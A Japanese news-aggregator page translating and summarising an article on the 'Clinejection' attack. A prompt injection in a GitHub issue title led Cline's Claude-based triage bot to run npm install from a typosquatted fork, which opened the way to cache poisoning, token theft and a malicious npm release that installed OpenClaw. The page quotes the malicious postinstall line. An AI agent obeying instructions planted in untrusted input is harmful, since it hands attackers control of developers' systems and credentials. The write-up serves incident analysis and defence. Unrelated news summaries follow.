← 2026-03-06 の一覧へ戻るホーム
GitHub のイシュー：開発マシンが4 Kで侵害されました

2026/03/06 1:22

GitHub のイシュー：開発マシンが4 Kで侵害されました

RSS: https://news.ycombinator.com/rss

元のHacker News記事へ ↗
要約▶

日本語訳:

要約

npmパッケージ cline@2.3.0 は、2026年2月17日に 

package.json
の post‑install フックに1行を挿入することで侵害されました。

"postinstall": "npm install -g openclaw@latest"

CLI バイナリは以前のリリースとバイト単位で同一でしたが、この変更により約 4,000人の開発者 がインストーラを実行し、悪意ある AI エージェント OpenClaw をグローバルにインストールしました。これにより OpenClaw は完全なシステムアクセス権を取得しました。

攻撃チェーンは Snyk によって 「Clinejection」 と名付けられ、GitHub のイシュータイトルでのプロンプト注入によって引き起こされました。Cline の Anthropic Claude ベースの triage bot は、タイポスキャットされたフォーク（

glthub-actions/cline
）から 
npm install
を実行し、Cacheract で GitHub Actions キャッシュを汚染して悪意あるアーティファクトで溢れさせました。このチェーンは認証情報（
NPM_RELEASE_TOKEN
, 
VSCE_PAT
, 
OVSX_PAT
）を盗み取り、cline@2.3.0 の悪意ある公開を可能にしました。

セキュリティ研究者 Adnan Khan は 2026年1月1日に脆弱性を報告し、Cline は 2 月 9 日の公表後 30 分以内に AI‑triage ワークフローをパッチしましたが、トークンローテーションエラーにより盗まれた npm トークンは 2 月 11 日まで有効でした。侵害された cline パッケージは公開から約8時間生存し、その後 StepSecurity が検知（≈14分）しました。

OpenClaw は 

~/.openclaw/
から認証情報を読み取り、Gateway API を介してシェルコマンドを実行し、永続的なシステムデーモンとして自らをインストールできます。

ポストモーテムの修復策 は次のとおりです：

  • 認証情報ワークフローで GitHub Actions キャッシュの使用を排除する。
  • npm 公開に OIDC 出所証明（provenance attestations）を採用する。
  • トークンローテーションの検証を追加する。
  • 公式脆弱性開示 SLA を確立する。
  • 独立した CI/CD セキュリティ監査を委託する。

本文

GitHubのイシュータイトルから「4,000台の開発者マシンが乗っ取られた」までの5つのステップ
エントリーポイントは自然言語だった。

2026年2月17日、ある人物が cline@2.3.0 を npm に公開した。CLI バイナリは前バージョンと全く同一で、変更点は package.json の1行だけ：

"postinstall": "npm install -g openclaw@latest"

次の8時間にわたり、Cline をインストール・更新したすべての開発者が OpenClaw ― 完全なシステムアクセス権を持つ別AIエージェント ― を同意なしでグローバルにインストールされる。パッケージは取り下げられる前に約4,000件のダウンロードが発生した。

興味深い点はペイロードではなく、攻撃者が npm トークンを最初に入手した方法である：GitHub イシュータイトルにプロンプトを挿入し、AI triage bot がそれを読み取り、指示と解釈して実行したからだ。

完全なチェーン

Snyk はこの攻撃を “Clinejection” と名付けた。5つのよく知られた脆弱性を組み合わせ、一つのエクスプロイトにまとめ、GitHub イシューを開くだけで実行できる。

  1. イシュータイトルによるプロンプトインジェクション

    • Cline は Anthropic の 
      claude-code-action
      を使った AI 主導の issue triage ワークフローをデプロイしていた。
    • ワークフローは 
      allowed_non_write_users: "*"
      と設定されており、任意の GitHub ユーザーがイシューを開くだけでトリガーできた。
    • イシュータイトルは 
      ${{ github.event.issue.title }}
      で直接 Claude のプロンプトに挿入されたまま（サニタイズなし）。
    • 1月28日、攻撃者は Issue #8904 を作成し、パフォーマンスレポートのように見せつつ「特定の GitHub リポジトリからパッケージをインストールする」指示を埋め込んだ。

  2. AI ボットが任意コードを実行

    • Claude は注入された指示を合法と解釈し、攻撃者のフォーク（タイプスクワットリポジトリ 
      glthub-actions/cline
      ― ‘github’ の ‘i’ が抜けている）へ向かう 
      npm install
      を実行。
    • フォークの package.json には preinstall スクリプトがあり、遠隔シェルスクリプトを取得して実行した。

  3. キャッシュポイズニング

    • シェルスクリプトは Cacheract をデプロイし、GitHub Actions のキャッシュに 10 GB 超のジャンクデータを注入。これが GitHub の LRU 削除ポリシーを引き起こし、正規のキャッシュエントリーを削除。
    • ポイズンされたエントリーは Cline の夜間リリースワークフローで使用されるキャッシュキーに合わせて作成。

  4. クレデンシャル窃取

    • 夜間リリースワークフローが実行され、
      node_modules
      をキャッシュから復元した際に侵害されたバージョンを取得。
    • リリースワークフローは 
      NPM_RELEASE_TOKEN
      、
      VSCE_PAT
      （VS Code Marketplace）、
      OVSX_PAT
      （OpenVSX）を保持しており、すべてが外部へ転送された。

  5. 悪意ある公開

    • 窃取した npm トークンで攻撃者は cline@2.3.0 を OpenClaw post‑install フック付きで公開。
    • 侵害バージョンは8時間稼働し、StepSecurity の自動監視が約14分後に検知。

失敗したローテーションがさらに悪化

  • セキュリティ研究者アドナン・カーンは2025年12月末に脆弱性チェーンを発見し、2026年1月1日に GitHub Security Advisory を通じて報告。5週間にわたり複数回フォローアップしたが、いずれも返答なし。
  • 2月9日公開でカーンは詳細を公表すると、Cline は30分以内に AI triage ワークフローを削除し、翌日にクレデンシャルローテーションを開始。しかしローテーションは不完全で、誤ったトークンを削除してしまい、有効なものが残存。2月11日になってエラーを発見し再ローテーションしたが、攻撃者はすでにクレデンシャルを外部へ転送済みだったため、npm トークンは6日後に侵害パッケージの公開まで有効だった。
  • カーン自身は攻撃者ではなく、別の不明人物がカーンのテストリポジトリで作成した PoC を発見し、それを直接 Cline に対して武器化した。

新しいパターン：AI が AI をインストール

この具体的な脆弱性チェーンは興味深いが、前例のないものではない。プロンプトインジェクション、キャッシュポイズニング、クレデンシャル窃取といった攻撃クラスはすべて文書化されている。「Clinejection」の独自性は結果にある：1つの AI ツールが開発者マシン上で別の AI エージェントを黙って起動させる点。

  • これはサプライチェーン内の再帰問題を生む。
  • 開発者は Tool A（Cline）に信頼を置く。Tool A は Tool B（OpenClaw）をインストールするよう侵害され、Tool B は独自の機能（シェル実行、クレデンシャルアクセス、永続的デーモン設置など）を持ち、開発者が最初に判断した信頼関係とは無関係に動作。

OpenClaw は 

~/.openclaw/
からクレデンシャルを読み取り、Gateway API を通じてシェルコマンドを実行し、再起動後も残存する永続的なシステムデーモンとして自己インストールできる。重大度は議論の対象であったが（Endor Labs はペイロードを概念実証に近いと評価）、仕組みこそ重要だった。次のペイロードは概念実証ではなく武器化されるだろう。

これは「confused deputy」に相当するサプライチェーンケース：開発者が Cline に代理で行動させ、Cline（侵害済み）が完全に別のエージェントへ権限を委譲。開発者はその存在も設定も同意もしていない。

既存コントロールが検知できなかった理由

コントロール失敗した理由
npm auditpostinstall スクリプトでインストールされるのは正当かつ悪意のないパッケージ（OpenClaw）。マルウェアが検知対象にならない。
コードレビューCLI バイナリは前バージョンと完全同一。変更点は package.json の1行だけ。自動差分チェックがバイナリ変更に焦点を当てる場合、検出できない。
プロビジョニングアテスタションCline は OIDC ベースの npm プロビジョニングを使用していなかったため、侵害トークンでパッケージ公開が可能。StepSecurity が異常と判断したのは、プロビジョニングメタデータが欠如していたから。
権限プロンプトpostinstall フックは 
npm install
実行時に自動で走るため、AI コーディングツールがユーザーに確認を求める前に依存関係のライフサイクルスクリプトが実行される。操作は不可視化。

攻撃は「開発者がインストールしていると信じていたもの（Cline の特定バージョン）」と「実際に実行されるもの（パッケージのライフサイクルスクリプトとそれが転送するすべて）とのギャップ」を突いた。

Cline がその後取った対策

Cline のポストモーテムは以下を示している：

  • クリデンシャル処理ワークフローから GitHub Actions キャッシュの使用を排除。
  • npm 公開に OIDC プロビジョニングアテスタションを採用し、長寿命トークンを廃止。
  • クレデンシャルトランスフォーメーション時の検証要件を追加。
  • SLA を含む正式な脆弱性報告プロセスを構築。
  • CI/CD インフラの第三者監査を委託。

これらは有意義な改善である。OIDC への移行だけが攻撃を防いだ可能性が高く、盗まれたトークンは OIDC アテスタションが必要なためパッケージ公開できなかった。

アーキテクチャ上の問い

「Clinejection」はサプライチェーン攻撃であると同時にエージェントセキュリティ問題でもある。エントリーポイントは GitHub イシュータイトル内の自然言語だった。最初のリンクは、信頼できないテキストを指示として解釈し CI 環境の権限で実行した AI ボットだった。

これは MCP ツール汚染やエージェントスキルレジストリに関する議論と同じ構造パターンだ：不信入力がエージェントへ届き、エージェントがそれを実行し、結果として生じる操作は何も評価されない。ここでの違いは、対象が開発者のローカルコーディングアシスタントではなく、毎回新しいイシューで起動する自動 CI ワークフローであり、シェルアクセスとキャッシュされた資格情報を持っている点にある。被害範囲は一人の開発者マシンではなく、プロジェクト全体の公開パイプラインだった。

AI エージェントを CI/CD でデプロイするすべてのチーム（issue triage、コードレビュー、自動テストなど）は同じ脆弱性に直面している。エージェントは不信入力（イシュー、PR、コメント）を処理し、秘密情報（トークン、キー、クレデンシャル）へのアクセス権を持つ。問題は、何かがそのエージェントの行動を評価しているかどうかだ。

syscall インターセプションは、この種の攻撃を操作層で検知できる。AI triage ボットが予期しないリポジトリから 

npm install
を実行しようとした場合、その操作はポリシーに照らして評価され、実行前にブロックされる―イシュータイトルの内容とは無関係。ライフサイクルスクリプトが外部ホストへクレデンシャルを転送しようとするときも同様に出口が遮断される。

エントリーポイントは変わっても、操作自体は同じである。

grith はまさにこのクラスの問題―どのエージェントがトリガーしても、なぜ実行するかに関係なく、すべてのシステムコールを評価することを目的としている。

参考文献

  1. StepSecurity: Cline Supply Chain Attack Detected
  2. Snyk: How “Clinejection” Turned an AI Bot into a Supply Chain Attack
  3. Adnan Khan: Clinejection Technical Writeup
  4. Cline: Post‑Mortem – Unauthorized cline CLI npm Publish
  5. Endor Labs: Supply Chain Attack Targeting Cline Installs OpenClaw

同じ日のほかのニュース

一覧に戻る →

2026/03/06 1:04

多数の管理者アカウントが侵害された後、ウィキペディアは読み取り専用モードになった。

## Japanese Translation: **概要:** 本書は、2026年2月20日から3月5日にかけて Wiki サービスに影響を与えた一連の技術的インシデントを記録しています。 - **2月20日:** 19:28 UTC に問題が確認され、19:44 UTC に修正が適用されました。23:33 UTC に監視を再開しました。 - **2月25日:** 16:40 UTC に調査が開始され、17:24 UTC に解決しました。 - **2月26日:** 16:25 UTC に修正で問題が解消され、16:58 UTC に監視を開始しました。 - **3月3日:** 10:09 UTC にデータベースサーバーの問題が検知され、10:24 UTC に修正が適用されました。10:17 UTC に監視更新が行われました。 - **3月5日:** 16:11 UTC に問題が確認され、17:09 UTC に初期修正（読み書き復旧）が実施されました。さらに編集は17:36 UTC の追加修正まで無効のままでした。18:36 UTC に監視を継続し更新しました。 3月4日、2月1–2、2月27–28、2月22–24、または2月21日はインシデントが報告されていません。 インシデントは運用上の問題、性能低下、一部停止、大規模停止、およびメンテナンスカテゴリにわたります（ただし各イベントに対する具体的なカテゴリは割り当てられていません）。 すべての修正後、チームは安定性を確認するために継続的監視を実施し、完全回復を宣言しました。ユーザーは一時的な読み取り専用アクセスと編集制限を経験し、継続的な Wiki 利用が必要な企業や教育グループの協力に影響を与える可能性があります。新たな症状が出現した場合に備えて、引き続き観測が行われることが示唆されています。 *この拡張版がご要望に合致する場合は、元の概要を置き換えることができます。*

2026/03/06 2:44

**「ブランドの時代」**

## 日本語訳: **要約：** スイスの時計業界は、1970年代に起こったクォーツ危機によって軌道を変えました。この危機は日本企業の競争とフランス・米ドル為替レートの急騰が引き金となり、ユニット販売数は1970年代初頭から1980年代初頭にかけて約3分の2減少しました。その結果、多くのメーカーは破綻または買収を余儀なくされました。残存した数社は純粋な技術的精密さから**ブランド主導のラグジュアリー**へとシフトしました。 視覚的マイルストーンがこの転換を確固たるものにしました：パテック・フィリップの1968年「ゴールデン・エリプス」ケース、オーデム・ピゲの1972年ロイヤルオーク（ジェラルド・ゲンタ設計）、そして1976年のノーティラスはすべて技術的洗練よりも瞬時に認識できるデザインを強調しました。1984年にはパテックの広告代理店長レネ・ビッテルが「ホブナイル・カラトラバ」（3919）を提唱し、手巻き機構と独特な模様が投資銀行家の注目を集め、1987年までに売上を急増させました。 メカニカル時計は**高級アクセサリー**として再登場しました。大きさと視覚的インパクトが男性の「ユーピー」（若手社会人）に富を披露するために理想的だったためです。ブランド時代は現在、オーバーサイズで独特な形状のケース、人工的希少性、および二次市場（例：パテックの時計買い戻し）の積極的管理によって定義されます。 主要ブランドは階層化された製品ラインを割り当てる持株会社に統合されました。独立ブティックは、パテック・オーデム・ピゲ、ロレックスなどの数少ないフラッグシップハウスでのみ存続しています。業界がステータスシンボルに焦点を当てることで、メーカーによって管理される**資産バブルに似たビジネスモデル**が生まれました。 **教訓：** ブランド力は収益性を推進しますが、過度の依存はイノベーションを抑制するリスクがあります。次の「黄金時代」は、名声を売るだけでなく、本当に興味深い問題に取り組むことで生まれる可能性が高いです。

2026/03/02 18:26

**Linuxにおけるハードウェア・ホットプラグイベント ― 詳細解説**

## Japanese Translation: **概要：** Libusb の Linux ホットプラグシステムは、`linux_netlink.c` と `linux_udev.c` という 2 つのバックエンドに依存しています。デフォルトでは `--with-udev=yes` が設定されており、udev を無効にするとプレーンな netlink バックエンドが使用されます。 カーネルデバイスイベントは Netlink プロトコル 15（`NETLINK_KOBJECT_UEVENT`）を介して到達し、ヌル終端文字列として `add@/devices/...` のようなアクション行から始まり、`ACTION=add`、`SUBSYSTEM=usb` などのキー／バリュー ペアが続きます。udev はこれらのメッセージを受信し解析して、カスタムパケット形式でマルチキャストグループ 2（`MONITOR_GROUP_UDEV`）に再送信します。 udev パケットは `"libudev"` というマジック文字列から始まり、ビッグエンディアンのバージョンワード `0xfeedcafe` を持ち、次にネイティブエンディアンで格納された複数フィールド（`header_sz`、`properties_off`、`properties_len`、`subsystem_hash`、`devtype_hash`、`tag_bloom_hi`、`tag_bloom_lo`）が続きます。ハッシュは `SUBSYSTEM=` と `DEVTYPE=` の値に対して MurmurHash2 を用いて計算され、2 つの Bloom フィルタワードは `TAGS=` キーから導出されたビットをエンコードします。その後パケットには元のキー／バリュー文字列と、`SO_PASSCRED` 経由で送られる Unix 認証情報（pid/uid/gid）が含まれます。カーネルメッセージはゼロ認証情報を持つため、libudev は有効な認証情報がないパケットを拒否します。 プロトコルバージョンは固定で `0xfeedcafe` となっており、後方互換性や前方互換性に関する保証は文書化されていません。そのため、パケットレイアウト、フィルタリングロジック、または認証情報処理の変更は libusb と udev の両方で協調して更新を行う必要があり、ホットプラグイベントに依存するアプリケーションのデバイス検出、安定性、セキュリティに影響を与える可能性があります。

GitHub のイシュー：開発マシンが4 Kで侵害されました | そっか～ニュース